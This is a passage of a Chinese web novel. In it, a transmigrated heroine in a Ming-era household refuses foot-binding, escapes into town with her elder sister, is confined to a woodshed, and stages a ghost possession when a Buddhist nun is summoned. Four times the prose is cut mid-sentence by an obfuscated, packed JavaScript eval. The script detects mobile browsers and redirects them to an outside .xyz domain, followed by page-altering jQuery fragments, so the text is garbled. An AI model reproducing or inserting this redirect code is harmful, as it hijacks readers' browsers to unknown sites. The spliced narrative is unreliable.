马香兰皱眉问:“怎么?你不喜欢娘亲绣的这双?巧珠,再换一双彩凤翩飞的样式来。” 姜婋摆手道:“不必了,这鞋这么小,你就算换一百个样式,我也穿不上。” 说着,她后退一步,当着满厅女眷的面,坦然抬脚,脱下白袜,露出一只干净、自然、毫无缠痕的赤足。 满厅一阵骚动,几位女眷忍不住倒抽冷气,议论起来: “这不就是传说中的大脚怪吗?” “不缠足的话,死后会进畜生道,下辈子会变成猪的!” 大伯的夫人秦瑛起身斥道:“这成何体统!晓晓,你看你还像个姑娘家吗?” 姜婋懒洋洋地挖了挖耳朵,漫不经心回了一句: “姑娘家该是什么样子?谁定的?你?祠堂?还是那双反人类的破鞋?” 马香兰忍无可忍:“晓晓,你疯了吗?你这是让祖宗蒙羞,让媒人笑话,让我死了,都不能闭眼啊……” 姜婋忽然放声大笑,笑得泪花都要迸出来。 “马香兰女士,照你这说法,我这双脚可真厉害!能让祖宗蒙羞,能让媒人笑话,能让在座各位不敢正眼看我,还能让你死不瞑目?” 她话锋一转,字字犀利:“那依我看,我们女人的脚简直是天下第一利器。只要咱们院里所有女子光着脚,一起走向皇城,咱们大明朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16075512|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕不是都得亡了!” 一众女眷被这番言辞震得险些摔杯。 就连饱读诗书的杜含章也惊得一颤,手中那双未穿上的绣鞋,“啪”地一声掉落在地。 * 马香兰气得手指发颤,几乎要翻桌而起,可又顾忌满厅宾客,只能死死捏住手中佛珠:“阿弥陀佛,我家晓晓……定是被荷花池的水鬼缠了身!” 众人一听,顿时往后蹿了三尺远。 姜婋站在中央,目光环视众人:“若说真的有鬼,怕不是缠在我身上,而是在诸位身上。” 她抬手指着每一位:“我们同为女子,可你们却被裹脚布腌入了味儿。今日你们齐聚一堂,不就是想看我和我姐姐如何被缠足、被羞辱、被凌虐,从我们的痛苦中收割快乐吗?” 这时,大伯母秦瑛霍然起身:“晓晓,我们这是为你好。你若不缠足,将来可是嫁不出去啊。普天之下的男人,哪个不喜欢三寸金莲?” “是啊,是啊,”众女眷纷纷附和:“我们都是为你好。” 姜婋高声道:“大伯母既然这样说了,那我就想请教一句,你说男子都爱三寸金莲。那敢问——你的夫君,大伯他,亲眼见过你的脚吗?” 秦瑛愕然:“你、你放肆!” 姜婋环视附和的众人:“你们的相公,可亲眼见过你们那溃烂流脓、变形扭曲、夏天发臭、冬日发僵的双脚吗?” 女眷们面红耳赤,却无人敢作声。 姜婋冷声道:“‘三寸金莲,毕竟要褶裤罩在上面,才觉有趣,不然就是一朵无叶之花,不耐看了。’——这可是男人们自己说的!” “男人想看的并不是你们的脚,而是这袜子之下的隐喻,规训之下的□□,畸形造就的顺从。女人一旦小脚,就更容易摆弄,更容易控制。你们守着这套话术几十年,还真信了?” 此番言论如此露骨,堂中女人个个神情错愕,低头失语。 杜含章站在一旁,听得怔住,胸口如被什么重重敲了一记。 马香兰气得直打哆嗦,尖声道:“晓晓!今天这双鞋,你不穿也得穿!来人——” “慢着!” 姜婋上前一步:“马香兰,我问你最后一遍,抛开你的面子,祖宗的规矩,所有的一切,你为什么一定要让我缠足?” 马香兰声音几乎哀求:“女儿啊,你若不缠足,将来怎么嫁人?” 姜婋笑道:“好,既然今日大家都在,那我便告诉你们——我杜暮晓此生不嫁人!所以这脚,我也不用再缠了吧?” 话音落地,四座再次死寂。 马香兰瞬间头风发作,脚下一个踉跄,几乎要摔倒。 “你疯了!来人呐,按住二小姐,我要亲自缠她的足!” 几名婆子与家丁立刻扑上来,连巧珠也咬牙加入。 眼见人群涌来,杜含章却冲上前,张开双臂拦住。 “不可!母亲,妹妹若不愿缠,你就慢慢劝导,不能强来。万一不小心缠碎了脚骨,她以后连路都走不了了……” 马香兰怒极反吼:“你闭嘴。你自己缠好了脚,就不管你妹妹的死活了!” 杜含章一时语塞。 姜婋望着她们,冷哼道:“既然讲不通,那就别怪我掀桌了!” 说罢,她忽地一把扯下身上的杏粉褙子,露出内里一身鲜烈如火,行动轻便的劲装。 她反手卷住杜含章的披帛,将她扯入怀中,朗声笑道: “姐姐,抱紧我!” 【作者小啰嗦】 “况且三寸金莲,毕竟要褶裤罩在上面,才觉有趣,不然就是一朵无叶之花,不耐看了。”——《肉蒲团》卷一,日本1705年宝永刊本,卷一,页28b。 64.04 转眼间,姜婋身如倭黑猩猩般,猛地攀住墙头挂晒的辣椒串,借势一跃,翻过院墙。 紧接着,她赤足踏瓦,疾奔于屋脊之上。 院中顿时大乱,女眷惊叫,家丁四散奔走。 马香兰喊道:“快!快把她们抓下来!” 众家仆忙去搬梯子,姜婋却早已身形一转,将杜含章背在身后。 她回头笑得张扬:“姐姐,你想不想去看看外面的世界?” 杜含章心跳如鼓,话还未说出口,整个人已被姜婋裹入疾风之中。 姜婋早在昨夜探过地形,脑中又有系统指引,脚下轻点飞檐,直奔华亭最繁华之地而去。 * 她们掠过杜宅层层高墙,屋瓦在脚下飞快退去。她们就像两只冲破牢笼的小鸟,迎风展翅,身后虽一片喧哗,却再也追不上她们…… 姜婋背着杜含章跃过一片白墙黛瓦,来到一处观之如虹的石桥,但见桥下清波潋滟,正是“九曲松江水,十里画舫行”的江南盛景。 这是姜婋第一次看见这个副本中,闺阁之外的世界,放眼望去,水道如织,杨柳垂波,画舫来往不绝。 远处传来丝竹低响,与身后的追喊声、摇橹声交织在一起。 姜婋展颜一笑:“姐姐,我瞧那儿不错,咱们去看看。” 还未等杜含章答话,她已自桥上飞身而下,稳稳落在一艘途经的香船之上。 倏地,船身微晃,船娘正哼着吴侬软语的小调,惊得歌声戛然。 姜婋在众人惊愕的目光中,衔了一块刚捞起的松江白鱼,又从酒盅中抿了一口茉莉酿,眯眼叹息:“这才叫不负春光,物性自遂!” 河面上,游船里的公子们惊得幞头乱飞,怔怔望着这突如其来的两位天外飞仙。 忽然,杜含章望向桥头,脸色骤变:“晓晓,她们追上来了!” 姜婋一瞥,果见马香兰带着族中女眷与仆人正四处包抄而来。 她笑了笑,沉肩发力,再度背起杜含章:“姐姐,瞧好了。” 姜婋踏着船夫的橹棹,飞身跃上桥头,刚一站稳,差点撞上一个挑担的卖货郎,又身子一斜,越过卖花姑娘的肩头,还顺手摘了几枝新开的栀子花,抛向身后:“姐姐你闻,香得很呢!” * 她一扭头,眼看前方又被家丁堵死,随即左拐而行,又凌空跃起,落在醉仙楼绸灯高挂的欢门之上。 如此几起几跃之间,她踩过那挑着糖担的小贩肩头,还不忘俯身扶正他手中差点打翻的糖罐。 又掠过一个摆摊相士的签筒,对方正在给人解卦,扯着嗓子道:“此卦为‘风火家人’,凶中藏吉——哎哎哎,我的卦筒!” 姜婋顺手抽出一只签,头也不回地笑道:“下次再帮我解卦。” 她身形再起,最终跃落于品茗居门前,稳稳站定。 那店小二正提壶倒茶,见状吓得手一抖,茶水洒了满桌。 姜婋拉着杜含章落座,朝伙计道:“来一盏盐笋芝麻木樨泡茶。用最细的嫩芽,笋干细切,桂花和芝麻焖透再泡。” 杜含章怔住:“我们……怎么来这儿了?” 姜婋轻笑:“姐姐,你不是最爱喝这这家的木樨茶吗?” 昨晚,她已在系统的帮助下,对杜含章所有喜好了如指掌。 可杜含章却是一愣。 因为这是她幼年和生母逛庙会时喝过的茶,浓香扑鼻,记忆犹新。 且木樨又名丹桂,正是她生母的名字,也是她最爱的花,儿时母亲院中满是桂花香,这茶香总会让她回忆和母亲相关的一切…… 可惜,生母去世后,她再也没有喝过这种茶了。 但妹妹怎会知道呢? 她正思索间,只听对方道:“姐姐,你慢慢喝,我把她们都甩远了,一时半刻追不上的。” 杜含章这才恍然明白,难道她闹出这么大动静,就是为了让自己出门喝一口最喜欢的茶? 她忙道:“晓晓,《女诫》有云,女子不可抛头露面,我们还是快回去吧!” 姜婋不急不缓:“哎,姐姐,甭管《女诫》《女则》怎么云,你先问问你自己的心。我们难得出来一次,可不能辜负这般良辰美景。有道是——不翻出墙外,怎知春色如许?” 杜含章下意识纠正:“是不到园林,怎知春色如许!” 她说完才骤然哑口,因为《牡丹亭》可是闺阁小姐的禁书。 姜婋看破不说破,笑了笑:“那是因为杜丽娘,没有我这样能蹿房越脊的妹妹带她出来玩,把她给憋坏了,才梦见柳梦梅。姐姐,你还有哪儿想去的?咱们还能再溜她们兜一圈儿。” 这句话在杜含章听来,极具蛊惑性。 虽然她服从规训,可每个人的心底总藏着一点反骨的本真,只是身处深宅大院,她必须将这份“本真”埋得深、管得紧,从未敢露出头来。 倏忽间,这抹压抑已久的叛逆念头竟悄然破土,如旁逸斜出的嫩枝,在“三从四德”的砖缝里倔强生长。 杜含章每日读万卷书,却从未如今日这般踏过一里路。 此时此刻,她坐于河边茶肆,手边热茶初香,看柳拂清波,听橹声盈耳,闻着水汽花香,眼前是不正是——“姹紫嫣红开遍”? 杜宅再美,与之相比,也不过是断壁残垣。 她忽然觉得,这一杯茶,真是太值了。 不由得,心甘情愿地想再任性片刻。 * 就这样,在马香兰率领家丁们满城围追堵截的同时,姜婋和杜含章竟悠哉游哉地,在品茗居喝上了一口热茶。 茶盏见底之时,门前忽地一阵喧哗,马香兰带着婆子家丁杀气腾腾地围了上来。 一时间,茶肆门口成了城隍庙附近最热闹的所在。 看热闹的百姓层层围观,小贩停下吆喝,酒客探头探脑,孩童一边吃糖一边问:“娘,那姑娘怎么不穿鞋?” 闻言,马香兰瞥见自己精心调教出的女儿,不但不穿绣鞋,而且那素白的棉袜早已跑得黢黑! 哪里还有什么大家闺秀的样子? 如此有辱门风,她气得几欲晕厥:“快,把她们两个都给我抓回去!” 杜含章刚想站出来请罪,姜婋却一把将她护 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081474|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在身后,抄起茶碗,“咻”一下掷出。 茶碗破空而出,正中为首家丁的脑门,只见他倒退三步,抱头哀嚎。 后方家丁见状一愣,都不敢再上前。 姜婋厉声道:“老娘我前世,可是勇战西陲,破敌千里,助公主登临天下的将军!就凭你们几个歪瓜裂枣,也敢来抓我?” 马香兰一声怒吼:“我来带头,快把二小姐给我拿下!” 有了马女士冲锋陷阵,家丁和婆子们蜂拥上前。 姜婋翻身一跃,轻巧站上桌面,在众目睽睽之下,竟直接脱下袜子。 那一刻,场面彻底失控。 男人们赶忙扭头回避,女人们纷纷用手帕捂脸,还有人吓得尖叫,惊得河中鸭子都扑啦啦飞了起来。 姜婋笑意横飞,站在桌上道: “华亭县的乡亲听好了,我乃杜记棉庄的二小姐,杜暮晓。我这人一向不拘礼法,性情乖张。各位也瞧见了,我这脚可不是三寸金莲,而是正儿八经的大脚!” 她环视四周,声音越发响亮: “今日我便当众宣布,我杜暮晓此生不嫁。不依附任何男人,不做谁的妻子。一生一世,只陪我姐姐,彼此为伴。” “所以诸位媒婆喜娘,就不必再往杜府提亲了。听清楚了吗?回答我!” 围观群众被她这一通喊话,震得一哆嗦,不由自主齐齐点头: “知道了!不敢去了……” 姜婋满意点头,重新穿上袜子,嗤笑道:“我不过是光了个脚,就把你们吓得屁滚尿流?我看以后打仗都不用征兵买马了,请我赤脚上阵,敌军怕是直接跪地投降了,哈哈哈——” 她放肆大笑,毫无闺阁小姐的半点样子。 笑声渐止,她回头望了一眼,那杨柳拂波,白鹭掠水的短暂美梦。 然后,姜婋喝下杯中最后一口茶,叹息道:“真是辜负了这般良辰美景……无妨,以后总还有机会,彻底冲破樊笼。” * 姜婋蹦下桌子,放下茶钱,又抓起还剩的半块芝麻糕,往嘴里一塞。 她一边咂巴嘴,一边拉起杜含章的手:“姐姐,今日玩的差不多了,等哪日天气好,我们再出来逛。” 说罢,两人肩并肩,在一众家丁的簇拥下,浩浩荡荡打道回府,宛如一场荒诞的凯旋。 围观的人群顿时议论纷纷,无不摇头叹气: “这杜家二小姐,真是有辱门风,粗鄙不堪!” “可见杜家虽为大户人家,却是小门小户的教养!” 就在此时,有一人开口反驳: “未必如此。” 那声音温润清朗,众人循声望去,只见一位丰姿俊妍的公子缓步而出,正是本文男主——柳如琢。 他虽衣着青色织锦长衫,却掩不住袖口缝补过的痕迹。分明是个门第已落的贵族子弟,偏又带着几分清傲。 柳如琢道:“正所谓,花开两朵,各擅其芳。二小姐行事无状,但大小姐却是温婉端庄,不失嫡女风范。” 他说着,目光落在杜含章那抹丁香色的背影,闪过一丝算计的精光。 65.05 姜婋和杜含章一行人回到杜宅时,天已擦黑。 马香兰亲自率家丁将两人押进内院祠堂。 经过这一天的折腾,她已是身心俱疲,连发火都显得力不从心,只一边捻着佛珠,一边憋着火问道:“你们说,知不知道错了?” 杜含章早已在这深宅大院里学会了如何察言观色,她比谁都清楚马香兰的脾气,只要认错及时,事情尚有缓和余地。 她立刻跪下,语气诚恳:“母亲,含章知错了。今日未能劝阻妹妹出行,是含章失责。我身为长姐,理当谨守礼教、端正家风,引导妹妹守规矩,奈何一时纵容,未能以身作则。” 她顿了顿:“我们虽已翻出宅门,原也应即刻折返,不该在街市久留。是我玩心大起,才误了分寸。今日皆是含章思虑不周,还请母亲责罚。” 这一番话,礼数俱全,进退有度。 最关键的是,还替杜暮晓挡下大半责难,这正遂了马香兰的心意,她火气消了大半。 马香兰目光转向姜婋:“你呢?” 姜婋抬头看她,一脸坦然:“我没错。” 马香兰拍案而起,震得佛珠作响:“晓晓,你怎么还不知悔改?” “悔改什么?” 姜婋脖子一梗:“你虐待自己的女儿,逼我缠足,我还不能跑了?我看要悔改的人是你吧?” 马香兰气得浑身发抖:“家门不幸啊,我竟生出你这样无法无天的孽障!来人,拿戒尺,家法伺候!” 姜婋扬起下巴:“打吧!我今日掀桌之时,便已知会有这一遭。你可千万别忍着气,不然伤身。” “你……你还知道气我伤身?” 马香兰声音颤抖,“那你还这般忤逆我?” 姜婋扑通跪下,毫无惧色:“多说无益,要打就打,我认。” 门外几个家仆闻声进来,手中已备好戒尺,空气中顿时弥漫起肃杀的气息。 马香兰手中的板子高高举起,可看着她那倔强的背影,终究是落不下去…… 毕竟女儿再如何顶撞,也是她身上掉下来的肉。 杜含章忙劝道:“母亲,父亲下个月便从山东回来了。若是他见到妹妹遍体鳞伤,定会痛惜不已……晓晓只是怕缠足,我身为长姐会慢慢劝她,求母亲看在父亲的面上,饶她这一回吧。” 姜婋在心里暗爽:我要的就是这个效果,你俩联手,一致对我,这才是最牢靠的联盟。 快打我吧,求求了…… 马香兰这次倒是没有反驳杜含章,因为她确实下不去手。 那一瞬,她脑海中浮现起多年前生女儿的情景。 因突然早产,她从黄昏挣扎到天明,几度昏死过去才将这孩子生下,所以唤她“暮晓”。 也因杜暮晓是早产儿,一出生便体弱多病,自己在佛前磕得满头是血,才保住了这孩子的命。 若真让这戒尺落下去,怕是又要卧床十天半月…… 马香兰咬了咬牙,终于道:“好,我不打了。” 杜含章闻言,悄然松了一口气。 马香兰转头吩咐:“把二小姐关进柴房,这几日闭门思过,不许送饭。等她什么时候想通了,愿意缠足了,再吃饭!” 姜婋挣扎道:“啊?别呀——马香兰女士!” * 深夜,柴房里阴沉潮湿,空气里混着霉味和土味。 姜婋蜷在墙角,捂着胃哼哼:“哎,还不如打我一顿呢……” 系统:“玩家,马香兰对你手下留情,你为何还上赶子求打?” 姜婋气息虚弱答道:“你不懂,我怕饿不怕打。在上一个副本里,我姊师野利娥若把我训练皮糙肉厚,就算马香兰使尽全力打我,也不过是蚊子叮肉罢了。但我的胃……真熬不住。” 她叹了口气:“只怪我当年也服过美役,追求白幼瘦,结果节食减肥,落下胃病,现在一饿就疼。系统,你没有身体,没体验过饿抽抽的感觉吧?” 系统闻言,忽然沉默半晌,冰冷的机械音中夹杂一丝若有若无的遗憾。 “确实没有。” 倏地,姜婋胃里又是一阵轰鸣,转移注意力道:“对了,刚才杜含章还替我求情来着,那她对我好感度是不是提升了?” 系统:“未检测到变化。” 姜婋垮了垮肩:“哎,看来原主以前欺负她不轻,要重建信任还得慢慢来。” 她正说着,忽听一阵轻微脚步声。 柴房门被人从外推开一条缝,传来熟悉的嗓音。 “晓晓——” 杜含章猫着腰,悄悄把两个热馒头塞了进来:“快吃吧,这是我从厨房偷出来的。” 姜婋感动极了,随即眼眶一热:“姐姐,你对我太好了……” 杜含章低声道:“我也被关过柴房,所以知道晚上饿肚子的滋味不好受。” 姜婋吃着馒头,忙在脑中问系统:“你不是说女主角对我好感度没升吗?那她怎么还冒险给我送吃的?” 系统:“因为本文女主角杜含章,就是一个心地善良之人。她虽身处宅斗,但推己及人,未改本心,这也是她能成为女主角的原因。” 姜婋点点头,把馒头往嘴里塞了一大口。 杜含章柔声叮嘱:“慢点吃,别噎着。” 她看着妹妹狼吞虎咽的模样,有些恍惚。 今日白天她们共同出逃,实属惊心动魄,可等晚上回到闺房,和素书一琢磨,才发现不对劲。 杜含章今晚来送馒头,一来是真的怕妹妹饿着,这是她善良使然。二来,她也确实有一些话想问。 “晓晓……” 她斟酌开口:“你今日不惜带我翻墙越巷,穿越大半个华亭,就只是为了让我喝那一口盐笋芝麻木樨茶吗?” 姜婋咽下口中的馒头:“一半一半吧。” 她虽然为了闯关成功,要博得女主的好感度,但也并不会故意夸大对女主的好。 “我确实是想让你喝这杯茶。但我也有自己的私心,我想出去看看,整日关在宅子里,难道你不想走出去看看吗?” 杜含章心中当然想,但她不能宣之于口,转言问道:“那你怎么知道我喜欢喝这种茶呢?这事只有我生母才知道……” “就是你娘亲,于夫人告诉我的。” 姜婋既然能这么做,就不怕女主事后询问,面不改色扯谎道: “我小时候顽皮,总是跑到于夫人的院子里偷桂花。她跟我说过很多你的事情,只是我当时太小了,都忘了。昨天掉到荷花池里,我灌了一肚子水,那往事就跟这馒头一样,一泡了水就发了。现在我脑子里记得可清楚了。” 她细数道:“于夫人说你口味清淡,最爱桂花蜜藕和盐笋芝麻木樨茶,喜欢穿藕紫色的衣裳,只因紫色矜贵中带叛逆,又不张扬;你虽熟读《烈女传》《女诫》,但也会偷看话本,最爱的就是《牡丹亭》,几乎能倒背如流了,对吧?” 杜含章听得脸微发红, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091731|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点了点头。 “你琴棋书画,无一不精,尤其擅长绘画。你最喜欢的画家是管道昇,最爱临摹她的《水竹图》。你一直想拜访画家卢允贞和仇珠,因为她们也是江南闺秀。你喜欢画落花飞蝶,工于画鸟,你画的鸟栩栩如生,都快从纸上飞出去了……” 杜含章诧异:“这也是我娘亲告诉你的?” “当然不是。” 姜婋笑着眨眼,“我自己看出来的,你总在院里常看鸟嘛。” 杜含章闻言,心仿佛被人轻轻叩了一下。 “没想到,你这么了解我。” 姜婋心道:昨夜系统给我回溯全书剧情,我早就把你的喜好倒背如流啦! 杜含章垂眸片刻,又问:“你今日在众人面前说此生不嫁,一生一世,愿意与我为伴……这些话是你不想缠足,一时说的气话吧?” 姜婋放下馒头,手指起誓。 “明月星辰在上,晚风虫鸣作证,我杜暮晓此生,只愿与姐姐相伴。” 她脑中闪过原著小说的会发生的种种,一脸认真。 “无论逆境或顺境,贫穷或富有,健康或疾病;无论发生什么,纵使亲人离散,家道中落。哪怕山河易主,王朝覆灭……我杜暮晓此生,永远是姐姐你最坚强的后盾。唯有生死,能将我们姐妹分离。” 这句话伴着月光,拂过晚风,应着虫鸣,轻轻落入杜含章的心间。 她怔怔望着姜婋,只觉这句誓言,比她读过的所有诗词话本都更深情郑重。 她一时无言,心绪悄然起伏。 就在这沉默之中,系统忽然发出提示:“检测到女主杜含章对玩家好感度上升。” 姜婋笑着,伸手穿过柴房门缝,去牵她的手:“姐姐,一字一句皆是我的真心话。” 杜含章心绪震荡,也回握住,发自内心道:“晓晓,你或许不明白,我们女子若不嫁人,是活不下去的。你还是听话,忍一忍把脚缠了,好吗?” 姜婋没急着反驳,她明白,要改变一个自幼在父权制下,被三从四德规训的女主角,并非一朝一夕之事。 但她也瞬间从杜含章的话中,捕捉到了问题的关键—— “所以姐姐,你最担心的,其实是如果不嫁人,该怎么活下去,对吗?” 此言一语中的,连杜含章都怔愣片刻,原来自己担心的是这个吗? 看见女主的反应,姜婋道:“如此就好办了。那我便想个法子,在这个世道中活下去,不就行了。” 杜含章看她一脸轻松的神色,忽然涌出一阵说不清的羡慕。 她们明明是同气连枝的姐妹,可自己好像却从未想过,越过番池,冲破樊笼,去改变什么。仿佛有一把无形的枷锁,将她的脚牢牢钉在这座规训与礼法铸造的囚笼之中。 但在妹妹口中,一切事情好似都有了解决的办法。 杜含章收回思绪,还是维持自己的生存法则,好言相劝。 “晓晓,我今晚是趁母亲在佛堂念经,才能给你送饭,明日恐怕没那么容易。你还是早点跟母亲认个错,先出来再说。缠足的事情,我们可以慢慢来。就像你说的,一切都有办法,你就不要再和母亲硬碰硬了。” 姜婋点头:“谢谢你,姐姐。” 杜含章莞尔:“姐妹之间,谢什么。” 她说罢,便先起身离开了。 姜婋看着她渐行渐远的背影,突然有点想哭。 原来,有姐姐,是这种感受啊…… 66.06 这边厢,姜婋正沉浸在有姐姐的感动之中,系统却不合时宜地发出提醒: “玩家,你已触发「妙真师太破煞驱鬼」新支线。” 姜婋一愣:“这又是什么支线?我怎么不记得书里有这段剧情?” 系统:“书中确实没有。这是因你行为异常,而马香兰笃信鬼神,认定你昨日坠入荷花池,是被水鬼缠身,故生发出了妙真师太进宅驱鬼的新故事线。” 姜婋无语:“马香兰女士也太迷信了吧!” “玩家,你不能用现代人的思维,去看一个生活在明代的女性。在这个时代,宗教是大部分女性的精神寄托。你设想一下,她们整日被困在宅院琐事之中,只有每逢节日,才能出门上香拜佛,获得短暂的放松。这就像你今日翻出杜宅一样,宗教也是她们温和地翻出围墙的方法之一。” “那是我狭隘了。” 姜婋思忖道:“照你这么说,马香兰好鬼神,是为了自己找一个心灵的出口,这跟上个副本皇帝老登赵柟信道可不一样。他是为了自己的私欲,祈求长生,操控朝局。” 系统:“玩家,你说的不错。不过需要注意的是,宗教同样是男子建立,却让女子去崇拜的一种礼制。所以宗教的立场并不是从女子方面来看女子,而是从男子方面说女子应当这样怎样。” “譬如那些‘文坛领袖’,一面作诗讲佛,一面教诲女子应贞顺婉娩。这对女子来说,既是解脱,也是另一种束缚。” 姜婋叹气:“这个副本也太压抑了吧!上个副本虽也是古代,但是架空古国,而且是女主昭离为帝的故事主线,整体来说还算爽文发展,这个故事哪哪都是三从四德……” 系统:“玩家,你这也是一种思维定式。” “怎么说?” 系统:“「三从」这一规范,虽剥夺了女性的法律人格和独立的社会身份,但她的个性或主观性并未被剥夺。儒家社会性别体系之所以能长期延续,其实也有一定范围内的灵活性。” “玩家,你不能忽视古代女子的主体性,她们在狭窄的生活空间中,也在用自己的方式进行抗争。她们并非是提线木偶,完全任由男人摆布。” 姜婋沉默了片刻,忽而想通。 “是了,就像刚才杜含章让我别正面冲突,先服软,也像马香兰信佛一般,这是她们在三从四德的压迫下,寻找的生存之道。” 她回到正题:“你刚说这个支线叫什么来着?” 系统提示:“妙真师太破煞驱鬼。” “我想起来了!原书是不是有段情节,就是我的原主杜暮晓为了嫁给五品大员家的那个谁——” 系统:“市舶司提举家的二公子,名叫——” “叫啥不重要。” 姜婋道:“重点是杜暮晓为了那桩亲事,在妙真师太的尼姑庵里与那男的私会,却被人撞破,只好成婚。结果发现,那男的就是个登徒浪子,婚后家暴不说,还染上性病,害得杜暮晓芳龄早逝……” 系统:“马香兰也因此受刺激发了疯。这一段,正是女主杜含章第一段宅斗的落幕。” 姜婋吐槽:“这种女主的姐妹勾搭有钱人家公子,婚前发生关系,最后嫁入豪门,不得善终的宅斗桥段,这就是典型的「厌女叙事」+「□□羞辱」!有欲望的女性永远没有好下场,男性四处留情却能全身而退;杜暮晓渴望权力和财富,使点手段怎么了?凭啥就她被钉在耻辱柱上,那男的有野心怎么就被夸得天花乱坠,说他心机深远、足智多谋?” 她词锋一转:“男主柳如琢看上杜含章,不也是为了杜家的钱吗?怎么就没人说他攀附算计,吃绝户?只敢惩罚父权制代言人的女性,却不敢向父权制正面问责。我看,这和冲上大街,只敢杀小孩的反社会分子,也没什么不同!” 她越说越气:“这个套路的结局总是一样——女主忍辱负重,有男主神助,成为当家主母;女配若敢越轨得势,最终被打回原形。这不就是在警告所有女人:你想活得好,就得低眉顺眼地给父权倒茶端水;你若有点欲望,想掀桌子,就该死!” 系统:“玩家,你分析得很到位。所以需要你来帮助女主杀死浪漫爱,走出自己的人生之路,创造出新的‘反宅斗’叙事。” 姜婋警惕问道:“不过,那位二公子,不会哪天突然上线,跑来杜家提亲吧?” 系统:“玩家放心,自从你在茶肆那一闹,市舶司提举家已经彻底断了娶你进门的念头。” 姜婋哈哈大笑:“太好了。原来我那时大闹茶肆,竟是一箭N雕,顺便把这桩孽缘给斩了。” 系统:“玩家,万事皆有利有弊。那位二公子虽然与你暂无交集,可未来会发生怎样的变化尚未可知……” “未来的事未来再说,先过了眼前这一关。” * 姜婋慢慢冷静下来。 “系统,这妙真师太到底什么来头?我昨天光顾着留意女主的故事线了,你再帮我回顾一下。” 系统:“为玩家梳理中——” “妙真师太,原是马香兰的闺中密友。早年她女儿在元宵灯会被拐,痛失爱女寻找无果后,她便削发为尼,入慈云庵清修。两人因少时情谊,一直往来密切,再加上马香兰信佛,时常上庵中礼香,所以二人感情更深。” “后来,杜暮晓出生后体弱多病,马香兰便请妙真师太为女儿‘寄名佛前’,求得长命百岁。这也是明代常见的习俗,若孩子多病多灾,便送至寺庙寄名,借神佛之力,保其健康长大。” “原来如此……” 姜婋若有所思:“所以说马香兰对这位妙真师太,可以说是十分信任了?” 系统:“正是。两人不是亲人,但胜似亲人。” 姜婋用手揉着眉心:“杜含章说得没错。我还真不能跟马香兰硬碰硬,要想在这宅门深处求得一线喘息,就得用她信得过的方式,而不是现代人的办法。让我好好想想……” 思忖间,她眼神一亮。 系统:“玩家,你又宅斗军师附体,想到办法了?” 姜婋狡黠一笑:“必须滴~这可是我亲手研发的‘第三十七计’——用魔法打败魔法!” * 第二天一大清早,姜婋就开始在柴房里装神弄鬼,假装自己被水鬼缠身。 她披头散发,嘴里念念有词,时而痛哭低咛,时而咯咯怪笑,还冲到柴房门前发疯:“别靠近我!鬼就站你的后头,要拉我下水——” 这一闹这可把马香兰吓坏了,忙不迭让巧珠将她带回闺房,好生照料,又命家仆去慈云庵请妙真师太。 姜婋吃饱喝足,躺在软塌上对系统说:“怎么样?我这招‘苦肉计’演得不错吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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马香兰吓得差点瘫倒在地,杜含章也不禁后退一步,脸色煞白。 妙真目光一凝,冷静道:“晓晓这般,确有水鬼缠身之相。” 马香兰急问:“那该怎么办?还请妙真师太救我女儿性命!” “水鬼多是因执念未了,冤屈未解,才滞留人间。” 妙真拨动念珠:“贫尼即刻为她念经超度。香兰施主,你速去荷花池东南角,设坛一座,燃三炷清香,摆上净水、素饭、黄纸三张。” 马香兰慌忙领命,又不放心地回头问:“那我家晓晓……” 妙真道:“三炷香后,自有结果。” 马香兰点头:“多谢师太,万望救我女儿一命啊!” * 妙真师太将所有人请出屋外,合上门扉。 屋外众人屏息凝神,连杜含章都心惊不已,昨夜晓晓分明还言谈如常,怎的今日竟真的宛如水鬼上身? 不光她这么想,整个杜宅的人皆心惊肉跳。 毕竟她们哪见过这种“中外恐怖片女鬼结合体”的阵仗? 是真是假已不重要,从今往后,杜宅上下都不敢轻易招惹这位二小姐了。 67.07 闺房内,气氛顿时肃静。 妙真师太手持一串乌沉沉的念珠,正要凝神诵咒,姜婋却猛然睁眼,神色清明道—— “大胆妙真,你可知我是谁,竟敢在我面前班门弄斧?” 妙真冷冷道:“你这一缕冤魂水鬼,也敢在佛门前放肆?” 